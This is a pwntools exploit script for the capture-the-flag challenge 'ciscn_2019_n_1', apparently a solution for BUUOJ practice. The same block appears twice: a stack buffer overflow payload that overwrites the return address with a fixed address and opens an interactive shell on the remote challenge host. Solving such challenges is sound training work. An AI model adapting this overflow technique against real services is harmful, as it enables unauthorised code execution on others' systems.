ciscn_2019_n_1
覆蓋v1->system地址
from pwn import *
p = remote('node5.buuoj.cn',25432)
payload=b'a'*(0x30+8)+p64(0x4006BE)
p.sendline(payload)
p.interactive()
覆蓋v1->system地址
from pwn import *
p = remote('node5.buuoj.cn',25432)
payload=b'a'*(0x30+8)+p64(0x4006BE)
p.sendline(payload)
p.interactive()